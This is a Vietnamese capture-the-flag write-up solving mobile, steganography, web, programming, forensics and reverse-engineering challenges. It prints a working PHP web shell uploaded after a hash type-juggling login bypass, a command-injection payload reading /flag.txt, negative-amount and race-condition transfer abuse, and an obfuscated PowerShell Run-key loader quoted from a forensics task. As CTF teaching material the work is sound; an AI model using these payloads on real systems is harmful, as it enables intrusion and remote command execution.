:bell: Mình cũng chỉ mới chơi `CTF` cách đây không lâu nên số bài giải được cũng chỉ giới hạn vài bài trong khả năng. Nếu có thiếu sót gì mong mọi người bỏ qua và chỉ bảo lại ạ ! :heart: `from _orangiie with love` ### Mobile #### Cat Me Trước tiên, đọc đề và tải file xuống ta nhận được file `apk` và `json` ![](https://hackmd.io/_uploads/HJjCUwqF2.png) Ta tiến hành phân tích file `app-release.apk` bằng [jadx](https://github.com/skylot/jadx) Thử tìm `flag` xem có chuyển biến gì không thì `BOOM!` có đoạn này ![](https://hackmd.io/_uploads/S18YPwcF2.png) Mở vào đoạn `Flag` kia thử và thứ ta nhận được là một đoạn `arrayList.add` đến đây ta cũng hình dung được là một đoạn mã _**base64**_ ![](https://hackmd.io/_uploads/HkmZuwcY3.png) Thử ghép lại theo thứ tự từ `1 -> 15`, thì ta nhận được đoạn mã `Q0hIe00wcmVfMW43RVIzU1RJTjlfN2gxTjZfMU5fbG9nY2F0fQ==` Đem đoạn này lên [Cyberchef](https://cyberchef.org/) để **decode** là có được flag >flag: `CHH{M0re_1n7ER3STIN9_7h1N6_1N_logcat}` #### Pinned Cookie `BÀI NÀY EM GIẢI SAU CUỘC THI` Ta cũng tương tự dùng [jadx](https://github.com/skylot/jadx) sau khi tải file về để phân tích Và cũng tương tự như thế, khi vào mục `org.cookiearena.pinnedcookie` phần `MainActivity` ta cũng thấy được đoạn mã **base64** bị tách như thế kia. ![](https://hackmd.io/_uploads/BJyUyu9tn.png) Cũng thử **decode** bằng mã **base64** sau khi ghép thành 1 đoạn `MBw6FDdZBT4wRzkQMB0jYEc8EUUDLQwjPiE8LR0TDw==` Nhận ra đọc xuống dưới thấy có đoạn _password_ `sTroN6PaSswORD` ![](https://hackmd.io/_uploads/B1YwJu9t3.png) Thì ra là đoạn mã **base64** này đem đi `xor` với _password_ Nên ta viết được đoạn mã ```python= import base64 s = "MBw6FDdZBT4wRzkQMB0jYEc8EUUDLQwjPiE8LR0TDw==" de = base64.b64decode(s) passwd = b'sTroN6PaSswORD' bArr = [0 for _ in range(len(de))] for i in range(len(de)): bArr[i] = de[i] ^ passwd[i % len(passwd)] for i in range(len(bArr)): print(chr(bArr[i]), end='') ``` Và `output` ta nhận được chính là flag >flag: `CHH{yoU_c4N_bYP45S_sSL_PInninG}` ### Stenography #### CutieK1tty Tải file về và giải nén ra thì ta được một bức ảnh là `cut3_c4t.png` ![](https://hackmd.io/_uploads/SJsRXa5Kn.png) Thử upload ảnh lên [Aperi'Solve](https://www.aperisolve.com/) để xem bên trong có gì không ? ![](https://hackmd.io/_uploads/S1T7Spcth.png) Ta để ý phần `sp3ctrum_1s_y0ur_fr13nd` thử xem sao, xuống mục **Binwalk** ![](https://hackmd.io/_uploads/ryWYS65F2.png) Ta nhận thấy có file `rar` Thử dùng [binwalk](https://www.kali.org/tools/binwalk/) để extract file ra thử, ta nhận được 2 file là `audio` và `rar` - Đối với file`audio` ta dùng [Audacity](https://www.audacityteam.org/) hoặc [Sonic Visualiser](https://sonicvisualiser.org/) để mở rồi xem dưới dạng `spectrogram` thì lờ mờ cũng có thể thấy được chuỗi kí tự `sp3ctrum_1s_y0ur_fr13nd`, nhưng nếu submit dưới dạng flag `CHH{sp3ctrum_1s_y0ur_fr13nd}` thì chắc chắn nó sai ! Vậy thử nghĩ xem nó liên quan đến cái gì :? Có file `rar` thì nghĩ ngay đến là chuỗi kí tự có là mật khẩu file `rar` Thử mở file `rar` lên thì... oh damn ! ![](https://hackmd.io/_uploads/HyBNa65Kh.png) Lỗi vỡ mặt 🤣. Nhưng thử hỏi tại sao vậy !? Dùng hex editor mở file `rar` lên xem thử... Ở đây mình dùng [HxD Editor](https://download.cnet.com/HxD-Hex-Editor/3001-2352_4-10891068.html) Thì ta lại thấy header của file là `Cat!` chứ không phải là `Rar!` ![](https://hackmd.io/_uploads/SkhPyC5F2.png) Nó liên quan đến [File Signature](https://en.wikipedia.org/wiki/List_of_file_signatures) Và bây giờ hay đoạn hex `46 61 74 21` bằng đoạn `52 61 72 21 1A 07 01 00` - Xoá thêm đoạn hex `1a 07 01 00` ở sau ![](https://hackmd.io/_uploads/SJ_FkCcY3.png) Sau đó `SAVE` lại ! Rồi đem mở nó ra ![](https://hackmd.io/_uploads/ryWqlCqF3.png) Một tín hiệu tốt !! ![](https://hackmd.io/_uploads/By-ax09tn.png) Hm! Bị bắt dùng mật khẩu nghĩ ngay đến ban đầu đặt giả thiết như nào !? Giải nén ra và mở được file lên! ![](https://hackmd.io/_uploads/r1IbWC9t3.png) Một đoạn mã **base64** `ZjByM241MWNzX21hNXQzcg==`. Ném lên [Cyberchef](https://cyberchef.org) **decode** nó ra và được `f0r3n51cs_ma5t3r` Ghép lại cho phù hợp với định dạng flag, ta được >flag: `CHH{f0r3n51cs_ma5t3r}` ### Web #### Be Positive Đọc đề thì ta có thể nhận thấy có 2 tài khoản của `bob` và `alice` |No. | Username | Password | | ----- | -------- | -------- | | 1 | alice | alice | | 2 | bob | bob | Ta đăng nhập 2 tài khoản ở 2 trình duyệt khác ![](https://hackmd.io/_uploads/Sy7Am0cKh.png) Ta thấy có mục mua `flag` nhưng balance chỉ có `$1500` cả 2 tài khoản tổng là `$3000` vẫn không đủ. Đồng thời ta cũng thấy mục `Transfer` thì có thể lờ mờ ra được lỗi liên quan đến cái chỗ chuyển khoản này Dùng [Burp Suite](https://portswigger.net/burp) bắt `request` chuyển tiền thôi ! ![](https://hackmd.io/_uploads/rJXJS0cFh.png) Giờ thì bắt đầu vọc thử cái chỗ này, thay đổi giá trị `amount` - Thử chuyển giá trị lớn hơn số tiền có thì báo lỗi ![](https://hackmd.io/_uploads/BJr4HRcFn.png) - Thử chuyển giá trị âm thì ! Giao dịch thành công!! [](https://hackmd.io/_uploads/BkvqHA9Yn.png) Nhanh trí chuyển thử `-3000` xem nào ! ![](https://hackmd.io/_uploads/SySAB09Kn.png) **ĐƯỢC LUÔN!!!** Xem lại tài khoản và... ![](https://hackmd.io/_uploads/Hy07UC5Fn.png) Mua flag nào !!! *Cẩn thận f4k3_fl4g* Hãy thử lại với tài khoản khác nếu bạn gặp *f4k3_fl4g* nhé !! >flag: `CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_201089fa2d8db612d5616c06659360e1}` #### Slow Down Tương tự như bài `Be Positive` |No. | Username | Password | | ----- | -------- | -------- | | 1 | alice | alice | | 2 | bob | bob | Nhưng lần này chuyển giá trị âm thì báo lỗi! Thử đăng nhập 1 tài khoản 2 nơi xong cùng gửi 1 giá trị thì kết quả như nào ! ![](https://hackmd.io/_uploads/ryB0_C9t3.png) ![](https://hackmd.io/_uploads/BklyK0qtn.png) Nó được thật!! Mua flag nào !!! *Cẩn thận f4k3_fl4g* Hãy thử lại với tài khoản khác nếu bạn gặp *f4k3_fl4g* nhé !! >flag: `CHH{ea5y_RaCe_CONd17iOn_b86e400828c440e2142914f79d8b8e52}` #### Magic Login Truy cập được trang web được thì ta thử đọc source xem như nào! Và thấy có đoạn comment ```php= if(isset($_POST['submit'])){ $usr = mysql_real_escape_string($_POST['username']); $pas = hash('sha256', mysql_real_escape_string($_POST['password'])); if($pas == "0"){ $_SESSION['logged'] = TRUE; header("Location: upload.php"); // Modify to go to the page you would like exit; }else{ header("Location: login_page.php"); exit; } }else{ //If the form button wasn't submitted go to the index page, or login page header("Location: login_page.php"); exit; } ``` Ta cũng dễ dàng hiểu được là phần tên đăng nhập thì sẽ là `username` còn mật khẩu đều bị **_hash_** Nghĩ ngay đến ![](https://hackmd.io/_uploads/rJlMiAcYn.png) [Document](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) Ta nhanh trí tìm payload phần mật khẩu để khi nhập vào bị **_hash_** thì vẫn đảm bảo được dạng `0eXXXXX` Lưu ý, ở đây là `sha-256`. [Payload Hash](https://github.com/spaze/hashes) Login thôi ! ![](https://hackmd.io/_uploads/rJOJhCqt2.png) Login thành công ! Nhưng ta lại thấy có phần `upload` ![](https://hackmd.io/_uploads/BkPx3R9F2.png) Ta sẽ thử upload 1 file shell PHP lên web ```php= <!-- template by : https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 --> <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html> ``` ![](https://hackmd.io/_uploads/B16d20qF3.png) Bấm vào `File` và chúng ta đã có 1 cái shell rồi ! ![](https://hackmd.io/_uploads/rkeohC5Kn.png) `/flag.txt` đọc file này thôi !! ```shell= cat /flag.txt ``` ![](https://hackmd.io/_uploads/H1b1aR5Fn.png) >flag: `CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_bb396e932553aecf0055d52902a830ee}` #### Youtube Downloader Thử bỏ một cái link nào đó vào trong mục kia ![](https://hackmd.io/_uploads/SyA2B-oK2.png) Ta có thể dễ nhận ra được rằng `youtube-dl --get-thumbnail https://battle.cookiearena.org/` là đoạn command được thông qua **_terminal_**, ta nghĩ đến ngay lỗi `command injection` Ta thử nghĩ đến việc dùng 2 dòng lệnh trên linux là `;`. Và thử làm thí nghiệm trên này xem ! Đặt giả lập là `/flag.txt` và không được có khoảng cách thì để đọc file ta dùng đến lệnh ```shell= cat</flag.txt ``` ![](https://hackmd.io/_uploads/HJKEOZsKn.png) Nó chạy được !! Và có một icon image. Thử mở nó ở tab mới thử! ![](https://hackmd.io/_uploads/B1M__bot3.png) Hm nhìn web có vẻ không có gì khác lạ nhỉ !? Nhưng khoan !!! Hãy để ý đến `url` ta sẽ thấy điều đặc biệt ``` CHH%7BEa5y_cOmmaND_inj3c7Ion_28af42d62fa8372a17d10b92c600890b%7D ``` Nhanh trí thay `%7B` thành `{`; `%7D` thành `}`. Thế là ta đã được flag >flag: `CHH{Ea5y_cOmmaND_inj3c7Ion_28af42d62fa8372a17d10b92c600890b}` ### Programming #### Identity Security Đoạn code mình giải ```python= usr_input = input() lst = [] for _ in range(int(usr_input)): a = input() lst.append(a) lst = [''.join(info.split()) for info in lst] seperate = '@' for info in lst: if seperate in info: seperate_index = info.index(seperate) username = info[:seperate_index] domain = info[seperate_index:] if len(username) <= 7: username = username[0] + '*'*(len(username)-2) + username[-1] print(username+domain) if len(username) > 7: username = username[:2] + '*'*(len(username)-5) + username[-3:] print(username+domain) else: number = info print(number[:2]+'*'*(len(number)-5)+number[-3:]) ``` ![](https://hackmd.io/_uploads/B1YQLu9Yn.png) >flag: `CHH{1DeNt17Y_SecuriTy_601d31f2ccd3e856763c3345c40b147b}` #### Decrypt ```python= usr_input = input() password = ''.join(input().split()) uoc_so = [] for i in range(2,len(password)+1): if len(password) % i == 0: uoc_so.append(i) for number in uoc_so: password = password[:number][::-1] + password[number:] print(password) ``` ![](https://hackmd.io/_uploads/ByUivO9tn.png) >flag: `CHH{pro9R4mmINg_D3CRYPT_92ca9e77b7c1fdc9a1a258705a752b3f}` ### Digital Forensics #### Tin Học Văn Phòng Cơ Bản Tải về ta nhận được file `doc` thử mở nó bằng Notepad thử... ![](https://hackmd.io/_uploads/Skvoa3qKn.png) > flag: `CHH{If_u_w4nt_1_will_aft3rnull_u}` #### Sổ Đăng Kí Hm, dựa vào đề thì ta có thể hình dung được là nó liên quan đến `Registry` và `Run` Tải file về ta extract ra và nhận được 1 file `NTUSER.DAT` Để đọc được file `DAT` thì ở đây mình dùng [Registry Explorer](https://ericzimmerman.github.io/#!index.md) Thử vào `Bookmarks -> Common -> Run` để xem có cái gì đặt biệt không ![](https://hackmd.io/_uploads/Hk3jy6cFh.png) Thì wow :+1: chỗ phần `value` có một đoạn mã **Powershell** ![](https://hackmd.io/_uploads/HJ0ny69Fn.png) ```shel! "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|inVOKe-exprEsSIon" ``` Đọc lướt qua thì ta thấy được đoạn `FRoMBAse64stRInG` nên chắc chắng đoạn mã ```shell! TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8= ``` chính là **base64**, ném thử lên [Cyberchef](https://cyberchef.org/) để **decode** nhưng nó lại ra một mớ kí tự khác !? ![](https://hackmd.io/_uploads/Bkw7fTqF2.png) Thử đọc lại đoạn shell thì ta chợt nhận ra sau khi được *encrypt* bằng **base64** thì đã được *encrypt* bằng **_DeflateStream_**. Như vậy, ta chỉ cần thêm khối block *decrypt* là **_Raw Inflate_** trên [Cyberchef](https://cyberchef.org/) nữa là được! ![](https://hackmd.io/_uploads/BJCWQpcKn.png) Boom ! Flag đã xuất hiện >flag: `CHH{N0_4_go_n0_st4r_wh3r3}` ### Reverse Engineering #### pyreverse Ta dùng [pyinstxtractor](https://pyinstxtractor-web.netlify.app/) để extract `.exe` về `.pyc` Sau đó dùng [pycdc](https://github.com/zrax/pycdc) để convert `.pyc` về lại file gốc `.py` Và ta thu được một đoạn code ```python= def reverse_string(s): return s[::-1] def scramble_flag(flag): scrambled = '' for i, char in enumerate(flag): if i % 2 == 0: scrambled += chr(ord(char) + 1) continue scrambled += chr(ord(char) - 1) return scrambled def main(): secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode()) print('Welcome to PyReverser!') print('Please enter a word or phrase:') user_input = input() generated_value = scramble_flag(reverse_string(user_input.upper())) print('Generated value:', generated_value) print('Can you find the hidden flag?') reversed_flag = reverse_string(secret_flag) print('Reversed flag:', reversed_flag) if _name_ == '_main_': main() return None ``` Ta cũng dễ nhận ra rằng có một đoạn mã **base64** `Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==` đem lên [Cyberchef](https://cyberchef.org/) **decode** thì nhận được flag >flag: `CHH{python2Exi_Reverse_ENginering}`